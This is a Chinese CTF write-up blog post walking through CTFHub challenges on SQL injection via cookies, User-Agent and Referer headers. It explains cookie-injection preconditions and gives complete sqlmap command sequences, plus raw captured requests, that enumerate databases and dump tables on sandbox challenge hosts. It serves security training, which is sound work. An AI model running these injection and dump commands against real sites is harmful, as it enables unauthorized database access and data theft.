CTFHub题解-技能树-Web-SQL注入(Cookie注入、UA注入、Refer注入)【三】
CTFHub题解-技能树-Web(web工具配置-SQL注入)
Cookie注入
1.知识点
cookie注入的原理是:就要修改cookie的值,我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。
cookie注入的两个必须条件:
条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是是在URL后面的参数也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的sql注入一样了。
cookie注入分为以下几个阶段:
1. 判断是不是注入点
2.得到字段总数
3.查选表名
4.查选列名
5.查内容
当然,sqlmap对于像笔者这样的小白来说是更好用的~
命令格式就是这样(爆库):
python sqlmap.py -u "http://xxx.com" --cookie "id=x" --dbs --level 2
2.题解
python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" --dbs --level 2 python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli --tables --level 2 python sqlmap.py -u "http://challenge-38d00693d21d6ccc.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli -T frkadyqcec --columns --dump --level 2
UA注入
1.知识点
User Agent 中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
笔者还没用过手工注入的方法来做UA注入,因此笔者下面介绍用sqlmap对UA注入的命令用法(详细方法见题解)。
2.题解
方法1:
将post包中的数据粘贴成一个txt,针对该txt进行爆破。
命令(爆库):
python sqlmap.py -r "xxx.txt" --level 3 --dbs
开启火狐浏览器的代理~
与burpsuite配合使用。
burpsuite抓个包看看~
python sqlmap.py -r "UAsql.txt" --level 3 --dbs python sqlmap.py -r "UAsql.txt" --level 3 -D sqli --tables python sqlmap.py -r "UAsql.txt" --level 3 -D sqli -T ztoczxhmwd --columns --dump
方法2:
用-u命令
python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 --dbs python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 -D sqli --tables python sqlmap.py -u http://challenge-0db4dfe24728939b.sandbox.ctfhub.com:10080/ --level 3 -D sqli -T ztoczxhmwd --columns --dump
哭了...不知道是不是我操作参数问题...续了三次10分钟环境才跑出来的flag.......
小伙伴们跑的时候,一定要记得看一下环境剩余时间,不然....还得重开环境.....
qwq~
跑出来的flag是一样哒~~~
Refer注入
1.知识点
sqlmap可以在请求中伪HTTP的Referer头,当--level参数大于等于3时,会尝试进行refer注入
sqlmap.py -r xxx.txt -p referer --level 5
2.题解
先用burpsuite抓个包看看~
发现没有referer参数,刚好题目里面提示,请在referer输入ID~
referer: 1
除此之外,还需要在GET处把题目的url补全哦~
不然会引起类似这种报错的。
GET处把题目的url补全具体见下面代码:
GET http://challenge-fd30069358ef2890.sandbox.ctfhub.com:10080/ HTTP/1.1
Host: challenge-fd30069358ef2890.sandbox.ctfhub.com:10080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close
referer: 1
然后把它们粘进一个空白的txt里,自己随意命名~
放在你的 sqlmap.py 的目录里。
txt准备好就可以用sqlmap工具来跑啦~
python sqlmap.py -r "refersql.txt" -p referer --level 5 --dbs python sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli --tables python sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli -T ugxucfilud --columns --dump
补充来啦~
有小伙伴私信我说,这种方法跑不出来哟~
笔者重开了环境,发现的确不行啦!!!
于是笔者在此更新另一种“姿势”~
用post包~
首先打开火狐浏览器,安装好hackbar插件(记得用v2版本),然后f12将它显示出来~
根据下图操作:
然后设置好代理,抓包~
然后发送到repeater模块:
然后把左边的全选粘贴到txt里~
POST / HTTP/1.1 Host: challenge-cd77b777b37ec971.sandbox.ctfhub.com:10080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/x-www-form-urlencoded Content-Length: 0 Origin: http://challenge-cd77b777b37ec971.sandbox.ctfhub.com:10080 Connection: close Referer: http://challenge-cd77b777b37ec971.sandbox.ctfhub.com:10080/ Upgrade-Insecure-Requests: 1 Referer: 1
命令:
python3 sqlmap.py -r "refersql.txt" -p referer --level 5 --dbs python3 sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli --tables python3 sqlmap.py -r "refersql.txt" -p referer --level 5 -D sqli -T ugxucfilud --columns --dump
这样就可以出来啦~后续的命令是一样的哦~
图我就不粘啦~
如果遇到问题,欢迎私信我哦~
SQL注入部分平台放出来的题目已经全部做完啦~
sqlmap真是太好用了...
写出sqlmap工具的大佬也太棒了叭!!!
后续平台更新题目的话,笔者也会持续更新哒~
参考资料:
http://www.hackdig.com/?04/hack-3124.htm
https://www.cnblogs.com/liujizhou/p/11768405.html
https://www.cnblogs.com/w10234/p/5522280.htm
--------------------- ┑( ̄Д  ̄)┍ --------------------------
作者:0yst3r[一只在安全领域努力奋斗的小菜鸡]
来源:博客园[ https://www.cnblogs.com/0yst3r-2046/ ] 引用时请注明来源哦~
(๑•̀ㅂ•́)و✧ヽ(✿゚▽゚)ノ(*^▽^*) φ(≧ω≦*)♪
如果本文对你有用,本人不胜欢喜。
The world is your oyster.